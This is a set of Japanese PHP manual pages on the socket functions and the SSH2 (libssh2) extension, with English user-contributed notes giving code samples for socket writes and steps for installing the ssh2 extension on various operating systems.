Conclusion: if you are not actually connected, shutdown will fails with socket_error = 107, Transport endpoint is not connected. This is true for both TPC and UDP connection (which is suprising, UDP being a connectionless protocol). This is true no matter the value set for the how parameter.
richard dot thomas at psysolutions dot com 23-Nov-2005 10:20
That is not a good example of a graceful shutdown. One should close the sending side of the socket and continue to read until the remote end closes its sending connection.
ludvig dot ericson at gmail dot com 02-Sep-2005 01:13
Sockets should be first shutdown and then closed.
<?php
// Sample: Closing sockets gracefully
socket_shutdown($sock, 2);
socket_close($sock);
?>


ソケットエラーの内容を文字列として返す

  • ≪ socket_shutdown
  • socket_write ≫
  • PHP Manual
  • ソケット 関数
  • ソケットエラーの内容を文字列として返す

socket_strerror

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_strerror — ソケットエラーの内容を文字列として返す

説明

socket_strerror ( int $error_code ) : string

socket_strerror() は、パラメータ error_code に socket_last_error() の返すソケットエラーコードを受け取り、 対応する内容を文字列で返します。

注意:

socket 拡張モジュールが出すエラーメッセージは英語ですが、 この関数から取得したシステムメッセージは現在のロケール (LC_MESSAGES) にあわせた表示となります。

パラメータ

error_code

ソケットのエラー番号。たいていは socket_last_error() が返したものとなるでしょう。

返り値

error_code パラメータに対応するエラーメッセージを返します。

例

例1 socket_strerror() の例

<?php
if (false == ($socket = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP))) {
   echo "socket_create() failed: reason: " . socket_strerror(socket_last_error()) . "\n";
}

if (false == (@socket_bind($socket, '127.0.0.1', 80))) {
   echo "socket_bind() failed: reason: " . socket_strerror(socket_last_error($socket)) . "\n";
}
?>

上記の例の出力はおそらく次のようになります (このスクリプトがルート権限で実行されていないことを仮定します)。

socket_bind() failed: reason: Permission denied

参考

  • socket_accept() - ソケットへの接続を許可する
  • socket_bind() - ソケットに名前をバインドする
  • socket_connect() - ソケット上の接続を初期化する
  • socket_listen() - ソケット上で接続待ち(listen)する
  • socket_create() - ソケット（通信時の終端）を作成する

User Contributed Notes

There are no user contributed notes for this page.


ソケットに書き込む

  • ≪ socket_strerror
  • socket_wsaprotocol_info_export ≫
  • PHP Manual
  • ソケット 関数
  • ソケットに書き込む

socket_write

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_write — ソケットに書き込む

説明

socket_write ( Socket $socket , string $data , int|null $length = null ) : int|false

関数 socket_write() は、 data の内容をソケット socket に書き込みます。

パラメータ

socket

data

書き込まれるバッファ。

length

オプションのパラメータ length で、 ソケットに書き込むバイト数を指定することが可能です。 この値がバッファの長さより大きい場合、自動的にバッファのサイズに切り詰められます。

返り値

ソケットへの書き込みに成功したデータのバイト数を返します。失敗した場合に false を返します。 エラーコードは socket_last_error() を用いて取得することができ、この値を socket_strerror() に渡すことでエラー情報を文字列で取得可能です。

注意:

socket_write() がゼロを返すことも十分ありえます。 これは、書き込むデータが存在しなかったことを意味します。 エラーをチェックするために false かどうかを調べる際には、必ず === 演算子を使用しましょう。

変更履歴

バージョン | 説明
8.0.0 | socket は、Socket クラスのインスタンスになりました。 これより前のバージョンでは、リソース型でした。
8.0.0 | length は、nullable になりました。

注意

注意:

socket_write() は、バッファの内容を必ずしもすべて 書き込むとは限りません。ネットワークバッファの状態にもよりますが、 たとえ 1 バイトだけ書き込まれたのであったとしても、それはエラーではなく正常な動作です。 そのため、データがすべて書き込まれたのかどうかに注意する必要があります。

参考

  • socket_accept() - ソケットへの接続を許可する
  • socket_bind() - ソケットに名前をバインドする
  • socket_connect() - ソケット上の接続を初期化する
  • socket_listen() - ソケット上で接続待ち(listen)する
  • socket_read() - ソケットから最大バイト長まで読みこむ
  • socket_strerror() - ソケットエラーの内容を文字列として返す

User Contributed Notes

php at deguest dot asia 03-May-2015 08:58
I often read in php docs users not checking for the php function returned value, and in the case of socket_write, I could not see here in the comment anyone botering to read on the socket the server reply.
Then one user thought it would be a good idea to use usleep after a socket_write on a smtp connection.
Actually, if you check the server reply, not only will it give time for the server to reply before you write again on the socket, but also this is a great opportunity to check what the server replied you.
For instance, for smtp connection :
In this example MAIL_SERVER, MAIL_PORT and DEBUG are constants I defined.
<?php
function sendmail( $param )
{
    $from    = &$param[ 'from' ];
    $to      = &$param[ 'to' ];
    $message = &$param[ 'data' ];

    $isError = function( $string )
    {
        if( preg_match( '/^((\d)(\d{2}))/', $string, $matches ) )
        {
            if( $matches[ 2 ] == 4 || $matches[ 2 ] == 5 ) return( $matches[ 1 ] );
        }
        else
        {
            return( false );
        }
    };

    try
    {
        $socket = null;
        if( ( $socket = socket_create( AF_INET, SOCK_STREAM, SOL_TCP ) ) == false )
        {
            throw new Exception( sprintf( "Unable to create a socket: %s", socket_strerror( socket_last_error() ) ) );
        }
        if( !socket_connect( $socket, MAIL_SERVER, MAIL_PORT ) )
        {
            throw new Exception( sprintf( "Unable to connect to server %s: %s", MAIL_SERVER, socket_strerror( socket_last_error() ) ) );
        }
        $read = socket_read( $socket, 1024 );
        if( $read == false )
        {
            throw new Exception( sprintf( "Unable to read from socket: %s", socket_strerror( socket_last_error() ) ) );
        }

        if( socket_write( $socket, sprintf( "HELO %s\r\n", gethostname() ) ) === false )
        {
            throw new Exception( sprintf( "Unable to write to socket: %s", socket_strerror( socket_last_error() ) ) );
        }
        $read = socket_read( $socket, 1024 );
        if( $read == false )
        {
            throw new Exception( sprintf( "Unable to read from socket: %s", socket_strerror( socket_last_error() ) ) );
        }
        else
        {
            if( ( $errCode = $isError( $read ) ) ) throw new Exception( "Server responded with an error code $errCode" );
        }

        if( socket_write( $socket, sprintf( "MAIL FROM: %s\r\n", $from ) ) === false )
        {
            throw new Exception( sprintf( "Unable to write to socket: %s", socket_strerror( socket_last_error() ) ) );
        }
        $read = socket_read( $socket, 1024 );
        if( $read == false )
        {
            throw new Exception( sprintf( "Unable to read from socket: %s", socket_strerror( socket_last_error() ) ) );
        }
        else
        {
            if( ( $errCode = $isError( $read ) ) ) throw new Exception( "Server responded with an error code $errCode" );
        }
        /* And some more code, but not enough place in comment */
        return( $totalWriten );
    }
    catch( Exception $e )
    {
        $ERROR = sprintf( "Error sending mail message at line %d. ", $e->getLine() ) . $e->getMessage();
        return( false );
    }
}
divinity76 at gmail dot com 06-Feb-2015 05:14
function AddTCPChecksum(&$data){
//feel free to add some error handling for strlen($data)>65535...
$data=pack("v",strlen($data)).$data;
}
jean at briskula dot si 03-Feb-2011 03:00
Some clients (Flash's XMLSocket for example) won't fire a read event until a new line is recieved.

<?php
    /*
     * Write to a socket
     * add a newline and null character at the end
     * some clients don't read until new line is recieved
     *
     * try to send the rest of the data if it gets truncated
     */
    function write(&$sock,$msg) {
        $msg = "$msg\n\0";
        $length = strlen($msg);
        while(true) {
            $sent = socket_write($sock,$msg,$length);
            if($sent === false) {
                return false;
            }
            if($sent < $length) {
                $msg = substr($msg, $sent);
                $length -= $sent;
                print("Message truncated: Resending: $msg");
            } else {
                return true;
            }
        }
        return false;
    }
?>
revelable at hotmail dot com 20-Dec-2010 05:08
Here we have the same function to write a socket but with improved performance.

If the messager are not larger, they will be written entirely with a single socket_write() call. And is not needed to call the substr() function for the first bucle.

<?php
$st="Message to sent";
$length = strlen($st);

    while (true) {

        $sent = socket_write($socket, $st, $length);

        if ($sent === false) {

            break;
        }

        // Check if the entire message has been sented
        if ($sent < $length) {

            // If not sent the entire message.
            // Get the part of the message that has not yet been sented as message
            $st = substr($st, $sent);

            // Get the length of the not sented part
            $length -= $sent;

        } else {

            break;
        }

    }
?>
masterwaster at gmail dot com 26-Aug-2008 11:42
Hi,
if you got same problems like i have

<?php
@socket_write($xd, "Good Bye!\n\r");
@socket_shutdown($xd, 2);
@socket_close($xd);
?>

wont'tx send "Good Bye!\n\r" to the opened socket.

but if you put a
usleep or something like echo "";
between write and shutdown its working.
webmaster at you-are-infected dot com 23-Aug-2006 10:27
If you connect to a Server in a way like you do with telnet or some similar protokoll you may have problems with sending data to the server. I found out that at some servers there is a different between:

<?php

    socket_write ($my_socket, $line, strlen ($line));
    socket_write ($my_socket, "\r\n", strlen ("\r\n"));

?>
witch worked at least, and
<?php
    socket_write ($my_socket, $line."\r\n", strlen ($line."\r\n"));
?>
wich made the server stop sending any data.

I hope this helps to save a lot of time. I needed about two days to find out, that this was the problem ;)
gtk at linux dot online dot no 20-Aug-2002 04:43
from http://www.manualy.sk/sock-faq/unix-socket-faq-2.html
read() is equivalent to recv() with a flags parameter of 0. Other values for the flags parameter change the behaviour of recv(). Similarly, write() is equivalent to send() with flags == 0.


WSAPROTOCOL_INFO 構造体をエクスポートする

  • ≪ socket_write
  • socket_wsaprotocol_info_import ≫
  • PHP Manual
  • ソケット 関数
  • WSAPROTOCOL_INFO 構造体をエクスポートする

socket_wsaprotocol_info_export

(PHP 7 >= 7.3.0, PHP 8)

socket_wsaprotocol_info_export — WSAPROTOCOL_INFO 構造体をエクスポートする

説明

socket_wsaprotocol_info_export ( Socket $socket , int $process_id ) : string|false

WSAPROTOCOL_INFO 構造体を共有メモリにエクスポートし、 socket_wsaprotocol_info_import() で使える識別子を返します。 エクスポートされるIDは、与えられた process_id 向けのものだけが有効です。

注意: この関数は Windows でのみ利用可能です。

パラメータ

socket

有効な Socket クラスのインスタンス。

process_id

ソケットをインポートするプロセスのID

返り値

インポートに使われる識別子を返します。 失敗した場合に false を返します

変更履歴

バージョン | 説明
8.0.0 | socket は、Socket クラスのインスタンスになりました。 これより前のバージョンでは、リソース型でした。

参考

  • socket_wsaprotocol_info_import() - 別のプロセスからソケットをインポートする
  • socket_wsaprotocol_info_release() - エクスポートした WSAPROTOCOL_INF 構造体を解放する

User Contributed Notes

There are no user contributed notes for this page.


別のプロセスからソケットをインポートする

  • ≪ socket_wsaprotocol_info_export
  • socket_wsaprotocol_info_release ≫
  • PHP Manual
  • ソケット 関数
  • 別のプロセスからソケットをインポートする

socket_wsaprotocol_info_import

(PHP 7 >= 7.3.0, PHP 8)

socket_wsaprotocol_info_import — 別のプロセスからソケットをインポートする

説明

socket_wsaprotocol_info_import ( string $info_id ) : Socket|false

以前別のプロセスからエクスポートされたソケットをインポートします。

注意: この関数は Windows でのみ利用可能です。

パラメータ

info_id

socket_wsaprotocol_info_export() 関数が以前の呼び出しで返したID

返り値

成功した時に、Socket クラスのインスタンスを返します。 失敗した場合に false を返します

変更履歴

バージョン | 説明
8.0.0 | 成功した場合に、この関数は Socket クラスのインスタンスを返すようになりました。 これより前のバージョンでは、リソースを返していました。

参考

  • socket_wsaprotocol_info_export() - WSAPROTOCOL_INFO 構造体をエクスポートする

User Contributed Notes

There are no user contributed notes for this page.


エクスポートした WSAPROTOCOL_INF 構造体を解放する

  • ≪ socket_wsaprotocol_info_import
  • Socket ≫
  • PHP Manual
  • ソケット 関数
  • エクスポートした WSAPROTOCOL_INF 構造体を解放する

socket_wsaprotocol_info_release

(PHP 7 >= 7.3.0, PHP 8)

socket_wsaprotocol_info_release — エクスポートした WSAPROTOCOL_INF 構造体を解放する

説明

socket_wsaprotocol_info_release ( string $info_id ) : bool

与えられた info_id に対応する共有メモリを解放します。

注意: この関数は Windows でのみ利用可能です。

パラメータ

info_id

socket_wsaprotocol_info_export() 関数が以前の呼び出しで返したID

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • socket_wsaprotocol_info_export() - WSAPROTOCOL_INFO 構造体をエクスポートする

User Contributed Notes

There are no user contributed notes for this page.


Socket クラス

(PHP 8)

はじめに

PHP 8.0.0 以降、 Socket リソースを置き換える完全不透明クラスです。

クラス概要

final Socket {
}

User Contributed Notes

There are no user contributed notes for this page.


AddressInfo クラス

(PHP 8)

はじめに

PHP 8.0.0 以降、 AddressInfo リソースを置き換える完全不透明クラスです。

クラス概要

final AddressInfo {
}

User Contributed Notes

There are no user contributed notes for this page.


Secure Shell2

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • SSH2 関数
    • ssh2_auth_agent — SSH の認証を、ssh agent を使って行う
    • ssh2_auth_hostbased_file — ホスト公開鍵を使用して認証を行う
    • ssh2_auth_none — "none" として認証する
    • ssh2_auth_password — SSH 上でプレーンなパスワードを使用した認証を行う
    • ssh2_auth_pubkey_file — 公開鍵を使用した認証を行う
    • ssh2_connect — SSH サーバーに接続する
    • ssh2_disconnect — Close a connection to a remote SSH server
    • ssh2_exec — リモートサーバー上でコマンドを実行する
    • ssh2_fetch_stream — 拡張データストリームを取得する
    • ssh2_fingerprint — リモートサーバーのフィンガープリントを処理する
    • ssh2_forward_accept — リスナーによって作られた接続を受け付ける
    • ssh2_forward_listen — リモートサーバ上のポートにバインドし、接続を待つ
    • ssh2_methods_negotiated — ネゴシエートされたメソッドのリストを返す
    • ssh2_poll — チャンネル/リスナー/ストリーム のイベントをポーリングする
    • ssh2_publickey_add — 認証済み公開鍵を追加する
    • ssh2_publickey_init — 公開鍵サブシステムを初期化する
    • ssh2_publickey_list — 現在認証済みの公開鍵の一覧を表示する
    • ssh2_publickey_remove — 認証済み公開鍵を取り除く
    • ssh2_scp_recv — SCP 経由でファイルを要求する
    • ssh2_scp_send — SCP 経由でファイルを送信する
    • ssh2_sftp_chmod — ファイルのモードを変更する
    • ssh2_sftp_lstat — シンボリックリンクの情報を取得する
    • ssh2_sftp_mkdir — ディレクトリを作成する
    • ssh2_sftp_readlink — シンボリックリンクのターゲットを返す
    • ssh2_sftp_realpath — 指定されたパス文字列の実パスを解決する
    • ssh2_sftp_rename — リモートファイルを改名する
    • ssh2_sftp_rmdir — ディレクトリを削除する
    • ssh2_sftp_stat — リモートファイルシステム上のファイルの情報を取得する
    • ssh2_sftp_symlink — シンボリックリンクを作成する
    • ssh2_sftp_unlink — ファイルを削除する
    • ssh2_sftp — SFTP サブシステムを初期化する
    • ssh2_shell — 対話式のシェルを要求する
    • ssh2_tunnel — リモートサーバーを経由するトンネルをオープンする

User Contributed Notes

zelnaga+php at gmail dot com 25-Feb-2009 12:45
if you're trying to connect to an ssh server in an environment where the ssh2 extension cannot be installed this pure-php implementation may be helpful:

http://phpseclib.sourceforge.net/documentation/net.html


はじめに

安全な暗号化通信を使用したリモートマシン上にあるリソースへのアクセス手段 (シェル、リモート実行、トンネリング、ファイル転送) を提供する » libssh2 のバインディングです。

User Contributed Notes

There are no user contributed notes for this page.


要件

» OpenSSL および » libssh2 ライブラリは必須です。 開発用のライブラリがインストールされていることを確認しておきましょう。 おそらく openssl-dev のような名前のパッケージになっているでしょう。

libssh2 ライブラリのバージョン 1.2 以降が必須となります。しかし、 pecl/ssh2 の新しいリリースでは、より新しいバージョンを要求することになるかもしれません (リリースノートを参照ください)。

ssh2_auth_agent() 関数を使うには、 libssh >= 1.2.3 が必要です。

チャネルストリームで stream_set_timeout() に対応するには、 libssh >= 1.2.9 が必要です。

libssh2 には二種類の形式があります。gcrypt を使ったものと openssl を使ったものです。 libssh2 のビルドに gcrypt ライブラリを使っている Linux ディストリビューションもあれば、 そうではなく openssl を使っているものもあります。 libssh2 を gcrypt でコンパイルしたときにはいくつかの問題が発生するので、openssl を使いましょう。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/ssh2.

この PECL 拡張モジュールの Windows バイナリ (DLL ファイル) は、PECL のウェブサイトから取得できます。

User Contributed Notes

kurdtpage at gmail dot com 22-Jun-2018 01:34
The SSH2 binary for Windows (php_ssh2.dll) can be found here: http://pecl.php.net/package/ssh2/1.1.2/windows
pedr0 02-Jun-2017 12:55
Steps for installing on CentOS Linux 7

After having a full webserver running, install packages libssh2.x86_64 and php-pecl-ssh2.x86_64

1. yum install libssh2.x86_64 php-pecl-ssh2.x86_64
2. systemctl restart httpd.service
stanislav dot eckert at vizson dot de 09-Aug-2016 01:00
[Editor's note: unless you have special demands, use the appropriate deps package from <http://windows.php.net/downloads/php-sdk/>.]

SSH2 for Windows is not available from the authors of the extension. But compiled binaries are available from the Apache Lounge (which is recommended by the php.net website too).

Link for PHP 5.3, 5.4, 5.5, 5.6 and 7.0:
https://www.apachelounge.com/viewtopic.php?t=6359

This binaries contain a lot (maybe even all?) for Windows compiled PHP extensions, like the SSH2 extension.

Please note that it is also highly recommended to use their Windows binary builds for the Apache HTTP server from here: https://www.apachelounge.com/download/

Older versions can be choosen from the left menu (VC11, VC10, etc.) if required.

php.net also recommends to use the binary builds from the Apache Lounge.

Maybe this helps developers, who work with Windows and can't find or compile some extensions themself.
domenico dot campagnolo at gmail dot com 08-Aug-2016 03:00
On Ubuntu 16.04 LTS
- PHP 5.6.24-1+deb.sury.org~xenial+1

Using terminal as a root
     apt install php-ssh2
     service apache2 restart
Ders 15-May-2016 09:47
Steps for installing the extension package on Ubuntu 14.04.

Very similar to dreadwestern at gmail dot com recipe, but enable ssh2 in PHP:

> sudo apt-get install libssh2-php
>  php5enmod ssh2
> sudo /etc/init.d/apache2 restart
stanislav dot eckert at vizson dot de 26-Jan-2016 03:15
Since version 0.12 (released 2012-10-15) there is a binary version for Windows.

See here: http://pecl.php.net/package/ssh2/0.12/windows

I tested it with PHP 5.5.29 (32-bit, thread-safe) on my Windows 7 machine.
warkirasep dot puloh at gmail dot com 22-Dec-2015 06:11
Installation For Centos 5.11 x86_64

1. Update your repo

wget http://pkgs.repoforge.org/rpmforge-release/rpmforge-release-0.5.3-1.el5.rf.x86_64.rpm

rpm --import http://apt.sw.be/RPM-GPG-KEY.dag.txt

rpm -K rpmforge-release-0.5.3-1.el5.rf.*.rpm

rpm -i rpmforge-release-0.5.3-1.el5.rf.*.rpm

2. yum install gcc php-devel php-pear libssh2 libssh2-devel
3. pecl install -f ssh2
4. Enable extension from php.ini configuration

extension=ssh2.so

5. Restart HTTPD

/etc/init.d/httpd restart

6. Chek PHP module

php -m

Good Luck
francewhoa+php dot net at ubertus dot ca 21-Nov-2015 11:47
Steps to install "ssh2" on Debian Jessie 8

1. Using Terminal as Root. Run the following command to install the extension package.

apt-get install php5-ssh2

2. Restart Apache2 server

service apache2 restart
sadhooklay AT gmail.com 27-Oct-2015 11:04
Installing on Ubuntu 14.0.4

    sudo pecl channel-update pecl.php.net
    sudo apt-get install libssh2-1-dev
    sudo pecl install -a ssh2-0.12
    echo 'extension=ssh2.so' | sudo tee /etc/php5/mods-available/ssh2.ini > /dev/null
    sudo php5enmod ssh2
warpman at gmail dot com 18-Nov-2014 04:10
Installing this module for use with CentOS 5.?? or 6.?

1. Install your favorite PHP RPM packages.  Make sure that one of your favorite packages is pear, so pecl gets installed in-tow.

2. Find and install *RPMS* of libssh2 of a version >= 1.2, get both the base lib package (libssh2-1.2.*.rpm) and the devel package that includes headers (libssh2-devel-1.2.*.rpm) of the EXACT SAME VERSION.  Finding these packages took a few minutes of googling, and I invite an editor that has a trusted source for these to attach URLs as appropriate. (Yes, the version below is ancient)

# rpm -ivh libssh2-1.2.6-1.el5.rf.x86_64.rpm libssh2-devel-1.2.6-1.el5.rf.x86_64.rpm

3. Install the PHP module via pecl
# pecl install ssh2-0.12

4. Make PHP see the newly-installed extension
# echo "extension=ssh2.so" > /etc/php.d/ssh2.ini

5. Restart apache
zizifu at gmail dot com 28-Aug-2012 07:58
CentOS 6.2 64bit Installation Steps:

1. download the libssh2 package from http://libssh2.org, command as following:
tar vxzf libssh2-1.4.2.tar.gz
cd libssh2-1.4.2
./configure
make
make install

2. download the php-ssh2 package from http://pecl.php.net/package/ssh2:

tar vxzf ssh2-0.11.3
cd ssh2-0.11.3
phpize
./configure --with-ssh2
make
make install

and the ssh2.so file will copy into /usr/lib64/php/modules
check it.

3. modify the php.ini

vi /etc/php.ini

add the "extension=ssh2.so" to the extension part of php.ini

4. check the environment of php, use phpinfo();

5. enjoy
dreadwestern at gmail dot com 26-Jul-2012 02:47
Steps for installing the extension package on Debian systems:

> sudo apt-get install libssh2-php
> sudo /etc/init.d/apache2 restart
imedina at grosshat dot com 09-Dec-2010 02:09
Using PECL it must be specified the channel, since the beta version has to be choosen instead of stable one:

$ pecl install ssh2 channel://pecl.php.net/ssh2-version
chris at 3menandarecorder dot com 11-Sep-2008 12:28
To help someone avoid the headaches I did for a week. SSH2 functions have problems with the ssh2-beta & libssh2-0.18 even after patching with said patches on the internet.

ssh_exec will work fine
ssh2_shell will not work

In order to use ssh2_shell I had to roll back to libssh2-0.14 in order to get ssh2_shell function to work properly
arie dot mail at gmail dot com 10-Sep-2008 11:56
Just a little note: when compiling this package after modifying the ssh2.c, do not use pecl build as it will not create an ssh2.so file (although it says it succeeded), use:

phpize
./configure --with-ssh2
make

you then need to copy the ssh2.so file into your extension dir if it didn't do so already.


リソース型

この拡張機能は、以下のリソース型を定義しています:

  • SSH2 セッション
  • SSH2 リスナー
  • SSH2 SFTP
  • SSH2 公開鍵サブシステム (ssh2 0.10 以降)

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

SSH2_FINGERPRINT_MD5 (int)
ホスト鍵のフィンガープリントを MD5 ハッシュとして要求する ssh2_fingerprint() 用フラグ
SSH2_FINGERPRINT_SHA1 (int)
ホスト鍵のフィンガープリントを SHA1 ハッシュとして要求する ssh2_fingerprint() 用フラグ
SSH2_FINGERPRINT_HEX (int)
ホスト鍵のフィンガープリントを 16 進法の文字列として要求する ssh2_fingerprint() 用フラグ
SSH2_FINGERPRINT_RAW (int)
ホスト鍵のフィンガープリントを 8 ビットキャラクタの文字列として要求する ssh2_fingerprint() 用フラグ
SSH2_TERM_UNIT_CHARS (int)
文字単位で 幅 と 高さ を指定するための ssh2_shell() 用フラグ
SSH2_TERM_UNIT_PIXELS (int)
ピクセル単位で 幅 と 高さ を指定するための ssh2_shell() 用フラグ
SSH2_DEFAULT_TERM_WIDTH (int)
ssh2_shell() で要求されるデフォルトのターミナル幅
SSH2_DEFAULT_TERM_HEIGHT (int)
ssh2_shell() で要求されるデフォルトのターミナル高さ
SSH2_DEFAULT_TERM_UNIT (int)
ssh2_shell() で要求されるデフォルトのターミナル単位
SSH2_STREAM_STDIO (int)
STDIO サブチャネルを要求する ssh2_fetch_stream() 用フラグ
SSH2_STREAM_STDERR (int)
STDERR サブチャネルを要求する ssh2_fetch_stream() 用フラグ
SSH2_DEFAULT_TERMINAL (string)
ssh2_shell() によって要求される デフォルトのターミナル型 (例えば vt102, ansi, xterm, vanilla)
SSH2_POLLIN (int)
SSH2_POLLEXT (int)
SSH2_POLLOUT (int)
SSH2_POLLERR (int)
SSH2_POLLHUP (int)
SSH2_POLLNVAL (int)
SSH2_POLL_SESSION_CLOSED (int)
SSH2_POLL_CHANNEL_CLOSED (int)
SSH2_POLL_LISTENER_CLOSED (int)

User Contributed Notes

There are no user contributed notes for this page.


SSH2 関数

目次

  • ssh2_auth_agent — SSH の認証を、ssh agent を使って行う
  • ssh2_auth_hostbased_file — ホスト公開鍵を使用して認証を行う
  • ssh2_auth_none — "none" として認証する
  • ssh2_auth_password — SSH 上でプレーンなパスワードを使用した認証を行う
  • ssh2_auth_pubkey_file — 公開鍵を使用した認証を行う
  • ssh2_connect — SSH サーバーに接続する
  • ssh2_disconnect — Close a connection to a remote SSH server
  • ssh2_exec — リモートサーバー上でコマンドを実行する
  • ssh2_fetch_stream — 拡張データストリームを取得する
  • ssh2_fingerprint — リモートサーバーのフィンガープリントを処理する
  • ssh2_forward_accept — リスナーによって作られた接続を受け付ける
  • ssh2_forward_listen — リモートサーバ上のポートにバインドし、接続を待つ
  • ssh2_methods_negotiated — ネゴシエートされたメソッドのリストを返す
  • ssh2_poll — チャンネル/リスナー/ストリーム のイベントをポーリングする
  • ssh2_publickey_add — 認証済み公開鍵を追加する
  • ssh2_publickey_init — 公開鍵サブシステムを初期化する
  • ssh2_publickey_list — 現在認証済みの公開鍵の一覧を表示する
  • ssh2_publickey_remove — 認証済み公開鍵を取り除く
  • ssh2_scp_recv — SCP 経由でファイルを要求する
  • ssh2_scp_send — SCP 経由でファイルを送信する
  • ssh2_sftp_chmod — ファイルのモードを変更する
  • ssh2_sftp_lstat — シンボリックリンクの情報を取得する
  • ssh2_sftp_mkdir — ディレクトリを作成する
  • ssh2_sftp_readlink — シンボリックリンクのターゲットを返す
  • ssh2_sftp_realpath — 指定されたパス文字列の実パスを解決する
  • ssh2_sftp_rename — リモートファイルを改名する
  • ssh2_sftp_rmdir — ディレクトリを削除する
  • ssh2_sftp_stat — リモートファイルシステム上のファイルの情報を取得する
  • ssh2_sftp_symlink — シンボリックリンクを作成する
  • ssh2_sftp_unlink — ファイルを削除する
  • ssh2_sftp — SFTP サブシステムを初期化する
  • ssh2_shell — 対話式のシェルを要求する
  • ssh2_tunnel — リモートサーバーを経由するトンネルをオープンする

User Contributed Notes

shred 28-Nov-2017 12:36
Getting strange "Unable to open ssh2.sftp://Resource id #3/example.txt" errors? This is a bug in PHP > 5.6.27. Use intval() as a workaround to make ssh2 work again:

$sftp = ssh2_sftp($connection);
fopen("ssh2.sftp://" . intval($sftp) . "/example.txt", 'r');

https://bugs.php.net/bug.php?id=73597
dan at novapulsar dot com 25-Oct-2007 11:06
you will have an issue transferring any file using ssh2_scp_send unless you send a dummy file after your real file, or preferably issue an

ssh2_exec ($connection, 'exit');

I was transferring hundreds of thousands of files in my prototype across multiple servers, and noticed that each file had a mismatched md5 hash and bytelength.

after a bit of research i learnt that this was a bug, and added the code above as suggested at pecl.php.net in the bugs section.

hopefully this helps someone who is getting partial file transfer that could ruin your whole app.
aeolianmeson at blitzeclipse dot com 17-Aug-2007 12:00
Some installations of PHP 5 may have a problem starting the SSH2 extension as a Windows' service. It just started happening to me today, spontaneously. I have PHP 5.2.2 (and have tried 5.2.3), on Apache 2.0.59 .

It turns out that it's an Apache problem. Even though I was given an error message when starting it, it still worked perfectly from the CLI. So, I commented it out in the
INI file again, and am just loading it using extension_loaded('ssh2') and dl('php_ssh2.dll') from within the script.
astribuncio at gmail dot com 31-Aug-2006 10:17
Installing on HPUX 11.11 cookbook

Just follow the install instructions on the man page and solved the problems as they appear

- when making libssh2
Problem related with /lib/pa20_64 and 64 bits library in 32 bits link
Edited the configure file  and changed
SHLIB_LDFLAGS="-b +vnocompatwarnings -L/lib/pa20_64"
to
SHLIB_LDFLAGS="-b +vnocompatwarnings -L/lib"

-when executing phpize
Problems with aclocal, autom4ke and m4
Installed automake, autoconf and m4

-when ./configuring the ssh2
Configure: error: libssh2 version >= 0.4 not found
Edited the configure.m4 and removed the -ldl switch from line (as posted before)
39      -L$SSH2_DIR/lib -lm -ldl
runned phpize again and ./configure --with-ssh2
chris dot britton at cingular dot com 11-Aug-2006 06:11
I was building out the ssh2 extension (0.10) under OpenBSD 3.9 on sparc64 and I got this error when running configure:

checking for libssh2_banner_set in -lssh2... no
configure: error: libssh2 version >= 0.4 not found

I did some poking around in the configure file and traced the problem down.  The reason for the failure is that configure is trying to compile a test program with -ldl.  libdl is not installed on OpenBSD 3.9. The OpenBSD folks purged libdl years ago and I could not find a package that contains it.

(The error message above is misleading because the problem is not with libssh2.)

I looked at the ssh2 extension code and could not see a reason for using libdl, so I removed the -ldl from the config.m4 file.  Re-ran phpize and configure. No errors.  Did make and installed ssh2.so.  Works fine.
Mike <esnik8202 at sneakemail dot com> 26-Mar-2006 09:08
To list directory contents:

<?php
$connection = ssh2_connect(\"hostname\", 22);
ssh2_auth_password($connection,\"username\", \"password\");  // or use any of the ssh2_auth_* methods
$sftp = ssh2_sftp($connection);

$dh = opendir(\"ssh2.sftp://$sftp/path/to/dir/\");

while (($file = readdir($dh)) !== false) {
  echo \"$file is in hostname:/path/to/dir\\n\";
}

closedir($dh);
?>

(thanks to Sara for assisting)
dotwho at NSPM dot mac dot com 04-Oct-2005 03:15
Trying to compile this ssh PECL extension for Mac OS X (10.4.2)
with entropy.ch's php5 distribution? Read on: PART 2:

11) Check your shell's path variable by SHELL$ "echo $PATH".
If your php5 binary directory is not listed before the standard OS X binary directory,
update your $PATH variable to list it first. Mine reads:
/usr/local/mysql/bin/: /usr/local/php5/bin/: /bin:/sbin: /usr/bin:/usr/sbin
11a) if you do not do this step, the PECL extension will link against the old
php4 version that ships with Mac OS X. You will know this by the fact that the
next step lists a server API that is different than the output of phpinfo():
My version was 20041030, Apples version was 20020429.
12) Run: phpize && ./configure --with-ssh2 && make
This will produce a lot of output and probably some warnings. If you get a note
at the end that says "Build Complete", then the process has completed
(probably successfully). The command has produced the output file ssh2.so within
the ssh2-0.9 (or whatever version) directory.
13) Check where the extension directory is located at by running the following command:
SHELL$/usr/local/php5/bin/php-config --extension-dir
If it lists some directory that actually exists, copy the ssh2.so file to this directory.
If it doesn't list a location that exists, you can either create the location, or
choose a different location and update the line in your php.ini file:
extension_dir = "./"
to point to the directory you would like to use. I chose:
extension_dir = "/usr/local/php5/extensions/"?>
14) Add the line
extension=ssh2.so
to the Dynamic Extensions area of your php.ini file.
15) Restart your web server for the extensioin to be loaded. If there are any problems, they will be written to the webserver log.
16) Check if your new ssh based streams are available by running:
SHELL$ /usr/local/php5/bin/php -r "print_r(stream_get_wrappers());"
You should get something similar to this output:
Array
(
    [0] => php
    [1] => file
    [2] => http
    [3] => ftp
    [4] => compress.bzip2
    [5] => compress.zlib
    [6] => https
    [7] => ftps
    [8] => ssh2.shell
    [9] => ssh2.exec
    [10] => ssh2.tunnel
    [11] => ssh2.scp
    [12] => ssh2.sftp
)
You should now be able to do all the cool things you need to do with ssh
(like sftp scp ssh execution)! Take a look at some of the comment here for some
example scripts to test things out:
http://us2.php.net/manual/en/ref.ssh2.php

